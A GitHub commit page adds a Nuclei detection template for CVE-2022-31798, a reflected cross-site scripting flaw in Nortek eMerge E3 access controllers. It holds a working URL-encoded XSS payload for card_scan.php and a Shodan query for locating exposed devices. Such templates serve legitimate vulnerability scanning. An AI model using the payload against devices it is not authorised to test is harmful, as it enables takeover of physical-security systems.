Merge pull request #5085 from projectdiscovery/CVE-2022-31798

Create CVE-2022-31798.yaml
patch-1
Prince Chaddha 2022-08-12 17:06:24 -07:00 committed by GitHub
commit 314d033851
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 36 additions and 0 deletions

View File

@ -0,0 +1,36 @@
id: CVE-2022-31798
info:
name: Nortek Linear eMerge E3-Series - XSS
author: ritikchaddha
severity: high
description: |
There is local session fixation that chained with reflected cross-site scripting leads to account take over of admin or less privileged users.
reference:
- https://packetstormsecurity.com/files/167992/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31798
metadata:
verified: true
shodan-query: http.title:"eMerge"
tags: cve,cve2022,emerge,nortek,xss
requests:
- method: GET
path:
- '{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- ',"CardFormatNo":"<img src=x onerror=alert(document.domain)>"}'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200